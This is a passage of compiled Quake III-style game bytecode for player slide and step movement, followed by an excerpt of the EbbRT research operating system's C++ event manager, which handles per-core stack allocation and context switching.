INDIRP4
CNSTI4 32
ADDP4
INDIRF4
ADDRLP4 260
INDIRI4
ADDRLP4 4
ADDP4
INDIRF4
MULF4
ADDRLP4 256
INDIRP4
CNSTI4 36
ADDP4
INDIRF4
ADDRLP4 260
INDIRI4
ADDRLP4 4+4
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 256
INDIRP4
CNSTI4 40
ADDP4
INDIRF4
ADDRLP4 260
INDIRI4
ADDRLP4 4+8
ADDP4
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 184
INDIRF4
CNSTF4 1036831949
LTF4 $107
ADDRGP4 $102
JUMPV
LABELV $107
ADDRLP4 184
INDIRF4
NEGF4
ADDRGP4 pml+108
INDIRF4
LEF4 $109
ADDRGP4 pml+108
ADDRLP4 184
INDIRF4
NEGF4
ASGNF4
LABELV $109
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ARGP4
CNSTI4 12
ADDRLP4 80
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 64
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
ADDRLP4 116
ARGP4
CNSTI4 12
ADDRLP4 80
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 104
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
ADDRLP4 76
CNSTI4 0
ASGNI4
ADDRGP4 $116
JUMPV
LABELV $113
ADDRLP4 76
INDIRI4
ADDRLP4 80
INDIRI4
NEI4 $117
ADDRGP4 $114
JUMPV
LABELV $117
ADDRLP4 264
CNSTI4 12
ADDRLP4 76
INDIRI4
MULI4
ASGNI4
ADDRLP4 64
INDIRF4
ADDRLP4 264
INDIRI4
ADDRLP4 4
ADDP4
INDIRF4
MULF4
ADDRLP4 64+4
INDIRF4
ADDRLP4 264
INDIRI4
ADDRLP4 4+4
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 64+8
INDIRF4
ADDRLP4 264
INDIRI4
ADDRLP4 4+8
ADDP4
INDIRF4
MULF4
ADDF4
CNSTF4 1036831949
LTF4 $119
ADDRGP4 $114
JUMPV
LABELV $119
ADDRLP4 64
ARGP4
CNSTI4 12
ADDRLP4 76
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 64
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
ADDRLP4 104
ARGP4
CNSTI4 12
ADDRLP4 76
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 104
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
ADDRLP4 268
CNSTI4 12
ADDRLP4 80
INDIRI4
MULI4
ASGNI4
ADDRLP4 64
INDIRF4
ADDRLP4 268
INDIRI4
ADDRLP4 4
ADDP4
INDIRF4
MULF4
ADDRLP4 64+4
INDIRF4
ADDRLP4 268
INDIRI4
ADDRLP4 4+4
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 64+8
INDIRF4
ADDRLP4 268
INDIRI4
ADDRLP4 4+8
ADDP4
INDIRF4
MULF4
ADDF4
CNSTF4 0
LTF4 $125
ADDRGP4 $114
JUMPV
LABELV $125
ADDRLP4 272
CNSTI4 12
ASGNI4
ADDRLP4 272
INDIRI4
ADDRLP4 80
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 272
INDIRI4
ADDRLP4 76
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 84
ARGP4
ADDRGP4 CrossProduct
CALLV
pop
ADDRLP4 84
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 276
ADDRLP4 84
INDIRF4
ASGNF4
ADDRLP4 280
ADDRGP4 pm
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 100
ADDRLP4 276
INDIRF4
ADDRLP4 280
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
MULF4
ADDRLP4 84+4
INDIRF4
ADDRLP4 280
INDIRP4
CNSTI4 36
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 84+8
INDIRF4
ADDRLP4 280
INDIRP4
CNSTI4 40
ADDP4
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 64
ADDRLP4 276
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 64+4
ADDRLP4 84+4
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 64+8
ADDRLP4 84+8
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 288
CNSTI4 12
ASGNI4
ADDRLP4 288
INDIRI4
ADDRLP4 80
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 288
INDIRI4
ADDRLP4 76
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRLP4 84
ARGP4
ADDRGP4 CrossProduct
CALLV
pop
ADDRLP4 84
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 292
ADDRLP4 84
INDIRF4
ASGNF4
ADDRLP4 100
ADDRLP4 292
INDIRF4
ADDRLP4 116
INDIRF4
MULF4
ADDRLP4 84+4
INDIRF4
ADDRLP4 116+4
INDIRF4
MULF4
ADDF4
ADDRLP4 84+8
INDIRF4
ADDRLP4 116+8
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 104
ADDRLP4 292
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 104+4
ADDRLP4 84+4
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 104+8
ADDRLP4 84+8
INDIRF4
ADDRLP4 100
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
CNSTI4 0
ASGNI4
ADDRGP4 $148
JUMPV
LABELV $145
ADDRLP4 0
INDIRI4
ADDRLP4 80
INDIRI4
EQI4 $151
ADDRLP4 0
INDIRI4
ADDRLP4 76
INDIRI4
NEI4 $149
LABELV $151
ADDRGP4 $146
JUMPV
LABELV $149
ADDRLP4 304
CNSTI4 12
ADDRLP4 0
INDIRI4
MULI4
ASGNI4
ADDRLP4 64
INDIRF4
ADDRLP4 304
INDIRI4
ADDRLP4 4
ADDP4
INDIRF4
MULF4
ADDRLP4 64+4
INDIRF4
ADDRLP4 304
INDIRI4
ADDRLP4 4+4
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 64+8
INDIRF4
ADDRLP4 304
INDIRI4
ADDRLP4 4+8
ADDP4
INDIRF4
MULF4
ADDF4
CNSTF4 1036831949
LTF4 $152
ADDRGP4 $146
JUMPV
LABELV $152
ADDRLP4 308
ADDRGP4 pm
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 312
CNSTF4 0
ASGNF4
ADDRLP4 308
INDIRP4
CNSTI4 40
ADDP4
ADDRLP4 312
INDIRF4
ASGNF4
ADDRLP4 308
INDIRP4
CNSTI4 36
ADDP4
ADDRLP4 312
INDIRF4
ASGNF4
ADDRLP4 308
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 312
INDIRF4
ASGNF4
CNSTI4 1
RETI4
ADDRGP4 $42
JUMPV
LABELV $146
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $148
ADDRLP4 0
INDIRI4
ADDRLP4 96
INDIRI4
LTI4 $145
LABELV $114
ADDRLP4 76
ADDRLP4 76
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $116
ADDRLP4 76
INDIRI4
ADDRLP4 96
INDIRI4
LTI4 $113
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 64
INDIRB
ASGNB 12
ADDRLP4 116
ADDRLP4 104
INDIRB
ASGNB 12
ADDRGP4 $103
JUMPV
LABELV $102
ADDRLP4 80
ADDRLP4 80
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $104
ADDRLP4 80
INDIRI4
ADDRLP4 96
INDIRI4
LTI4 $101
LABELV $103
LABELV $62
ADDRLP4 204
ADDRLP4 204
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $64
ADDRLP4 204
INDIRI4
ADDRLP4 208
INDIRI4
LTI4 $61
LABELV $63
ADDRFP4 0
INDIRI4
CNSTI4 0
EQI4 $158
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 116
INDIRB
ASGNB 12
LABELV $158
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
CNSTI4 0
EQI4 $160
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 212
INDIRB
ASGNB 12
LABELV $160
ADDRLP4 204
INDIRI4
CNSTI4 0
EQI4 $163
ADDRLP4 224
CNSTI4 1
ASGNI4
ADDRGP4 $164
JUMPV
LABELV $163
ADDRLP4 224
CNSTI4 0
ASGNI4
LABELV $164
ADDRLP4 224
INDIRI4
RETI4
LABELV $42
endproc PM_SlideMove 316 28
export PM_StepSlideMove
proc PM_StepSlideMove 140 28
ADDRLP4 108
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 68
ADDRLP4 108
INDIRP4
INDIRP4
CNSTI4 20
ADDP4
INDIRB
ASGNB 12
ADDRLP4 92
ADDRLP4 108
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRI4
ARGI4
ADDRLP4 112
ADDRGP4 PM_SlideMove
CALLI4
ASGNI4
ADDRLP4 112
INDIRI4
CNSTI4 0
NEI4 $166
ADDRGP4 $165
JUMPV
LABELV $166
ADDRLP4 80
ADDRLP4 68
INDIRB
ASGNB 12
ADDRLP4 80+8
ADDRLP4 80+8
INDIRF4
CNSTF4 1099956224
SUBF4
ASGNF4
ADDRLP4 0
ARGP4
ADDRLP4 68
ARGP4
ADDRLP4 116
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 116
INDIRP4
CNSTI4 180
ADDP4
ARGP4
ADDRLP4 116
INDIRP4
CNSTI4 192
ADDP4
ARGP4
ADDRLP4 80
ARGP4
ADDRLP4 116
INDIRP4
INDIRP4
CNSTI4 140
ADDP4
INDIRI4
ARGI4
ADDRLP4 116
INDIRP4
CNSTI4 28
ADDP4
INDIRI4
ARGI4
ADDRLP4 116
INDIRP4
CNSTI4 224
ADDP4
INDIRP4
CALLV
pop
ADDRLP4 120
CNSTF4 0
ASGNF4
ADDRLP4 56
ADDRLP4 120
INDIRF4
ASGNF4
ADDRLP4 56+4
ADDRLP4 120
INDIRF4
ASGNF4
ADDRLP4 56+8
CNSTF4 1065353216
ASGNF4
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 40
ADDP4
INDIRF4
CNSTF4 0
LEF4 $171
ADDRLP4 0+8
INDIRF4
CNSTF4 1065353216
EQF4 $181
ADDRLP4 0+24
INDIRF4
ADDRLP4 56
INDIRF4
MULF4
ADDRLP4 0+24+4
INDIRF4
ADDRLP4 56+4
INDIRF4
MULF4
ADDF4
ADDRLP4 0+24+8
INDIRF4
ADDRLP4 56+8
INDIRF4
MULF4
ADDF4
CNSTF4 1060320051
GEF4 $171
LABELV $181
ADDRGP4 $165
JUMPV
LABELV $171
ADDRLP4 56
ADDRLP4 68
INDIRB
ASGNB 12
ADDRLP4 56+8
ADDRLP4 56+8
INDIRF4
CNSTF4 1099956224
ADDF4
ASGNF4
ADDRLP4 0
ARGP4
ADDRLP4 68
ARGP4
ADDRLP4 124
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 124
INDIRP4
CNSTI4 180
ADDP4
ARGP4
ADDRLP4 124
INDIRP4
CNSTI4 192
ADDP4
ARGP4
ADDRLP4 56
ARGP4
ADDRLP4 124
INDIRP4
INDIRP4
CNSTI4 140
ADDP4
INDIRI4
ARGI4
ADDRLP4 124
INDIRP4
CNSTI4 28
ADDP4
INDIRI4
ARGI4
ADDRLP4 124
INDIRP4
CNSTI4 224
ADDP4
INDIRP4
CALLV
pop
ADDRLP4 0
INDIRI4
CNSTI4 0
EQI4 $183
ADDRGP4 pm
INDIRP4
CNSTI4 32
ADDP4
INDIRI4
CNSTI4 0
EQI4 $165
ADDRGP4 $187
ARGP4
ADDRGP4 c_pmove
INDIRI4
ARGI4
ADDRGP4 Com_Printf
CALLV
pop
ADDRGP4 $165
JUMPV
LABELV $183
ADDRLP4 104
ADDRLP4 0+12+8
INDIRF4
ADDRLP4 68+8
INDIRF4
SUBF4
ASGNF4
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 20
ADDP4
ADDRLP4 0+12
INDIRB
ASGNB 12
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 92
INDIRB
ASGNB 12
ADDRFP4 0
INDIRI4
ARGI4
ADDRGP4 PM_SlideMove
CALLI4
pop
ADDRLP4 80
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 20
ADDP4
INDIRB
ASGNB 12
ADDRLP4 80+8
ADDRLP4 80+8
INDIRF4
ADDRLP4 104
INDIRF4
SUBF4
ASGNF4
ADDRLP4 0
ARGP4
ADDRLP4 128
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 132
ADDRLP4 128
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 132
INDIRP4
CNSTI4 20
ADDP4
ARGP4
ADDRLP4 128
INDIRP4
CNSTI4 180
ADDP4
ARGP4
ADDRLP4 128
INDIRP4
CNSTI4 192
ADDP4
ARGP4
ADDRLP4 80
ARGP4
ADDRLP4 132
INDIRP4
CNSTI4 140
ADDP4
INDIRI4
ARGI4
ADDRLP4 128
INDIRP4
CNSTI4 28
ADDP4
INDIRI4
ARGI4
ADDRLP4 128
INDIRP4
CNSTI4 224
ADDP4
INDIRP4
CALLV
pop
ADDRLP4 0
INDIRI4
CNSTI4 0
NEI4 $193
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 20
ADDP4
ADDRLP4 0+12
INDIRB
ASGNB 12
LABELV $193
ADDRLP4 0+8
INDIRF4
CNSTF4 1065353216
GEF4 $196
ADDRLP4 136
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ASGNP4
ADDRLP4 136
INDIRP4
ARGP4
ADDRLP4 0+24
ARGP4
ADDRLP4 136
INDIRP4
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
LABELV $196
ADDRLP4 136
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 28
ADDP4
INDIRF4
ADDRLP4 68+8
INDIRF4
SUBF4
ASGNF4
ADDRLP4 136
INDIRF4
CNSTF4 1073741824
LEF4 $201
ADDRLP4 136
INDIRF4
CNSTF4 1088421888
GEF4 $203
CNSTI4 6
ARGI4
ADDRGP4 PM_AddEvent
CALLV
pop
ADDRGP4 $204
JUMPV
LABELV $203
ADDRLP4 136
INDIRF4
CNSTF4 1093664768
GEF4 $205
CNSTI4 7
ARGI4
ADDRGP4 PM_AddEvent
CALLV
pop
ADDRGP4 $206
JUMPV
LABELV $205
ADDRLP4 136
INDIRF4
CNSTF4 1097859072
GEF4 $207
CNSTI4 8
ARGI4
ADDRGP4 PM_AddEvent
CALLV
pop
ADDRGP4 $208
JUMPV
LABELV $207
CNSTI4 9
ARGI4
ADDRGP4 PM_AddEvent
CALLV
pop
LABELV $208
LABELV $206
LABELV $204
LABELV $201
ADDRGP4 pm
INDIRP4
CNSTI4 32
ADDP4
INDIRI4
CNSTI4 0
EQI4 $209
ADDRGP4 $211
ARGP4
ADDRGP4 c_pmove
INDIRI4
ARGI4
ADDRGP4 Com_Printf
CALLV
pop
LABELV $209
LABELV $165
endproc PM_StepSlideMove 140 28
import PM_AddEvent
import PM_AddTouchEnt
import PM_ClipVelocity
import c_pmove
import pm_flightfriction
import pm_waterfriction
import pm_friction
import pm_flyaccelerate
import pm_wateraccelerate
import pm_airaccelerate
import pm_accelerate
import pm_swimScale
import pm_duckScale
import pm_stopspeed
import pml
import pm
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $211
byte 1 37
byte 1 105
byte 1 58
byte 1 115
byte 1 116
byte 1 101
byte 1 112
byte 1 112
byte 1 101
byte 1 100
byte 1 10
byte 1 0
align 1
LABELV $187
byte 1 37
byte 1 105
byte 1 58
byte 1 98
byte 1 101
byte 1 110
byte 1 100
byte 1 32
byte 1 99
byte 1 97
byte 1 110
byte 1 39
byte 1 116
byte 1 32
byte 1 115
byte 1 116
byte 1 101
byte 1 112
byte 1 10
byte 1 0
|
// Copyright Boston University SESA Group 2013 - 2014.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include "EventManager.h"
#include <unordered_map>
#include <boost/container/flat_map.hpp>
#include "../Compiler.h"
#include "Cpu.h"
#include "LocalIdMap.h"
#include "PageAllocator.h"
#include "RcuTable.h"
#include "Trace.h"
#include "VMem.h"
namespace {
struct InterruptHandler {
ebbrt::RcuHListHook hook;
ebbrt::MovableFunction<void()> func;
uint8_t interrupt;
};
struct vec_data_t : public ebbrt::CacheAligned {
ebbrt::SpinLock lock;
uint8_t idx{34};
ebbrt::RcuHashTable<InterruptHandler, uint8_t, &InterruptHandler::hook,
&InterruptHandler::interrupt>
map{8};
};
ebbrt::ExplicitlyConstructed<vec_data_t> vec_data;
} // namespace
void ebbrt::EventManager::Init() {
vec_data.construct();
local_id_map->Insert(std::make_pair(kEventManagerId, RepMap()));
}
ebbrt::EventManager& ebbrt::EventManager::HandleFault(EbbId id) {
kassert(id == kEventManagerId);
const RepMap* rep_map;
{
// Acquire read only to find rep
LocalIdMap::ConstAccessor accessor;
auto found = local_id_map->Find(accessor, id);
kassert(found);
rep_map = boost::any_cast<RepMap>(&accessor->second);
auto it = rep_map->find(Cpu::GetMine());
if (it != rep_map->end()) {
EbbRef<EventManager>::CacheRef(id, *it->second);
return *it->second;
}
}
auto rep = new EventManager(*rep_map);
// OK we must construct a rep
{
LocalIdMap::Accessor accessor;
auto found = local_id_map->Find(accessor, id);
kassert(found);
auto writable_rep_map = boost::any_cast<RepMap>(&accessor->second);
writable_rep_map->emplace(Cpu::GetMine(), rep);
}
EbbRef<EventManager>::CacheRef(id, *rep);
return *rep;
}
namespace {
const constexpr size_t kStackPages = 2048; // 8 MB stack
}
class EventStackFaultHandler : public ebbrt::VMemAllocator::PageFaultHandler {
public:
EventStackFaultHandler() = default;
EventStackFaultHandler(const EventStackFaultHandler&) = delete;
EventStackFaultHandler& operator=(const EventStackFaultHandler&) = delete;
~EventStackFaultHandler() {
ebbrt::kbugon(!mappings_.empty(), "Free stack pages!\n");
}
void HandleFault(ebbrt::idt::ExceptionFrame* ef,
uintptr_t faulted_address) override {
auto page = ebbrt::Pfn::Down(faulted_address);
auto it = mappings_.find(page);
if (it == mappings_.end()) {
ebbrt::kbugon(mappings_.size() + 1 >= kStackPages, "Stack overflow!\n");
auto backing_page = ebbrt::page_allocator->Alloc();
ebbrt::kbugon(backing_page == ebbrt::Pfn::None(),
"Failed to allocate page for stack\n");
ebbrt::vmem::MapMemory(page, backing_page);
mappings_[page] = backing_page;
} else {
ebbrt::vmem::MapMemory(page, it->second);
}
}
private:
std::unordered_map<ebbrt::Pfn, ebbrt::Pfn> mappings_;
};
extern "C" __attribute__((noreturn)) void
SwitchStack(uintptr_t first_param, uintptr_t stack, void (*func)(uintptr_t));
void ebbrt::EventManager::StartProcessingEvents() {
auto stack_top = (active_event_context_.stack + kStackPages).ToAddr();
SwitchStack(reinterpret_cast<uintptr_t>(this), stack_top, CallProcess);
}
void ebbrt::EventManager::CallProcess(uintptr_t mgr) {
auto pmgr = reinterpret_cast<EventManager*>(mgr);
pmgr->Process();
}
template <typename F> void ebbrt::EventManager::InvokeFunction(F&& f) {
try {
auto generation = generation_;
active_event_context_.generation = generation;
++generation_count_[generation % 2];
f();
--generation_count_[generation % 2];
} catch (std::exception& e) {
ebbrt::kabort("Unhandled exception caught: %s\n", e.what());
} catch (...) {
ebbrt::kabort("Unhandled exception caught!\n");
}
}
void ebbrt::EventManager::Process() {
auto stack_top = (active_event_context_.stack + kStackPages).ToAddr();
Cpu::GetMine().SetEventStack(stack_top);
// process an interrupt without halting
// the sti instruction starts processing interrupts *after* the next
// instruction is executed (to allow for a halt for example). The nop gives us
// a one instruction window to process an interrupt (before the cli)
process:
asm volatile("sti;"
"nop;"
"cli;");
// If an interrupt was processed then we would not reach this code (the
// interrupt does not return here but instead to the top of this function)
if (!tasks_.empty()) {
auto f = std::move(tasks_.front());
tasks_.pop_front();
InvokeFunction(f);
// if we had a task to execute, then we go to the top again
goto process;
}
if (idle_callback_) {
InvokeFunction(*idle_callback_);
goto process;
}
asm volatile("sti;"
"hlt;");
kabort("Woke up from halt?!?!");
}
ebbrt::Pfn ebbrt::EventManager::AllocateStack() {
if (likely(!free_stacks_.empty())) {
auto ret = free_stacks_.top();
free_stacks_.pop();
return ret;
}
allocate_stack_counter_++;
if (allocate_stack_counter_ % 10 == 0) {
ebbrt::kprintf("EventManager: core %d has allocated %d stacks\n",
(size_t)Cpu::GetMine(), allocate_stack_counter_);
}
auto fault_handler = new EventStackFaultHandler;
return vmem_allocator->Alloc(
kStackPages, std::unique_ptr<EventStackFaultHandler>(fault_handler));
}
void ebbrt::EventManager::FreeStack(Pfn stack) { free_stacks_.push(stack); }
static_assert(ebbrt::Cpu::kMaxCpus <= 256, "adjust event id calculation");
ebbrt::EventManager::EventManager(const RepMap& rm)
: reps_(rm), next_event_id_(Cpu::GetMine() << 24),
active_event_context_(next_event_id_++, AllocateStack()) {}
void ebbrt::EventManager::Spawn(MovableFunction<void()> func,
bool force_async) {
SpawnLocal(std::move(func), force_async);
}
extern "C" void
ActivateContextAndReturn(const ebbrt::EventManager::EventContext& context)
__attribute__((noreturn));
extern "C" void
SaveContextAndSwitch(uintptr_t first_param, uintptr_t stack,
void (*func)(uintptr_t),
ebbrt::EventManager::EventContext& context);
void ebbrt::EventManager::CallSync(uintptr_t mgr) {
auto pmgr = reinterpret_cast<EventManager*>(mgr);
// TRICKY: This function does not terminate, so we must ensure we
// destroy any local variables (hence the local scope here)
{
auto fn = std::move(pmgr->sync_spawn_fn_);
pmgr->InvokeFunction(fn);
}
// In the case that the event blocked, it will only be reactivated on a
// "fresh" event. Therefore if the sync_contexts_ stack is empty, we just go
// back to the event loop
if (unlikely(pmgr->sync_contexts_.empty())) {
pmgr->Process();
} else {
// save this stack
pmgr->FreeStack(pmgr->active_event_context_.stack);
// reload previous stack
auto& prev_context = pmgr->sync_contexts_.top();
pmgr->active_event_context_ = std::move(prev_context);
pmgr->sync_contexts_.pop();
ActivateContextAndReturn(pmgr->active_event_context_);
}
}
void ebbrt::EventManager::SpawnLocal(MovableFunction<void()> func,
bool force_async) {
if (unlikely(force_async)) {
tasks_.emplace_back(std::move(func));
} else {
sync_spawn_fn_ = std::move(func);
// put current context on the stack
sync_contexts_.emplace(std::move(active_event_context_));
// create new active context
auto stack = AllocateStack();
auto stack_top = (stack + kStackPages).ToAddr();
active_event_context_ = EventContext(next_event_id_++, stack);
// save the current context to the stack and switches
SaveContextAndSwitch(reinterpret_cast<uintptr_t>(this), stack_top, CallSync,
sync_contexts_.top());
}
}
void ebbrt::EventManager::AddRemoteTask(MovableFunction<void()> func) {
std::lock_guard<ebbrt::SpinLock> lock(remote_.lock);
remote_.tasks.emplace_back(std::move(func));
}
void ebbrt::EventManager::SpawnRemote(MovableFunction<void()> func,
size_t cpu) {
auto rep = reps_.find(cpu);
kassert(rep != reps_.end());
rep->second->AddRemoteTask(std::move(func));
// We might want to do a queue of ipi's that can
// be cancelled if the work was acked via shared memory due to
// natural polling on the remote processor
auto c = Cpu::GetByIndex(cpu);
kassert(c != nullptr);
auto apic_id = c->apic_id();
apic::Ipi(apic_id, 32);
}
extern "C" void SaveContextAndActivate(
ebbrt::EventManager::EventContext& save_context,
const ebbrt::EventManager::EventContext& activate_context);
void ebbrt::EventManager::SaveContext(EventContext& context) {
context = std::move(active_event_context_);
if (sync_contexts_.empty()) {
auto stack = AllocateStack();
auto stack_top = (stack + kStackPages).ToAddr();
active_event_context_.~EventContext();
new (&active_event_context_) EventContext(next_event_id_++, stack);
SaveContextAndSwitch(reinterpret_cast<uintptr_t>(this), stack_top,
CallProcess, context);
} else {
auto& prev_context = sync_contexts_.top();
active_event_context_ = std::move(prev_context);
sync_contexts_.pop();
SaveContextAndActivate(context, active_event_context_);
}
}
void ebbrt::EventManager::PreAllocateStacks(size_t num) {
while(num--){
allocate_stack_counter_++;
if (allocate_stack_counter_ % 10 == 0) {
ebbrt::kprintf("EventManager: core %d has allocated %d stacks\n",
(size_t)Cpu::GetMine(), allocate_stack_counter_);
}
auto fault_handler = new EventStackFaultHandler;
auto s = vmem_allocator->Alloc(
kStackPages, std::unique_ptr<EventStackFaultHandler>(fault_handler));
FreeStack(s);
}
}
void ebbrt::EventManager::ActivateContext(EventContext&& context) {
if (context.cpu == Cpu::GetMine()) {
// if we are activting on the same core as the context was
// saved on then we need not syncronize and know that we
// can Spawn Locally
SpawnLocal([ this, c = std::move(context) ]() mutable {
// ActivatePrivate(std::move(c))
FreeStack(active_event_context_.stack);
// We need to switch the event stack because we only
// set it at the top of process
auto stack_top = (c.stack + kStackPages).ToAddr();
Cpu::GetMine().SetEventStack(stack_top);
active_event_context_ = std::move(c);
ActivateContextAndReturn(active_event_context_);
},
/* force_async = */ true);
} else {
auto cpu = context.cpu;
auto rep_iter = reps_.find(cpu);
auto rep = rep_iter->second;
SpawnRemote([ rep, c = std::move(context) ]() mutable {
// event_manager->ActivatePrivate(std::move(c))
rep->FreeStack(rep->active_event_context_.stack);
auto stack_top = (c.stack + kStackPages).ToAddr();
Cpu::GetMine().SetEventStack(stack_top);
rep->active_event_context_ = std::move(c);
ActivateContextAndReturn(rep->active_event_context_);
},
cpu); // SpawnRemote Argument 2
}
}
void ebbrt::EventManager::ActivateContextSync(EventContext&& context) {
kassert(context.cpu == Cpu::GetMine());
sync_contexts_.emplace(std::move(active_event_context_));
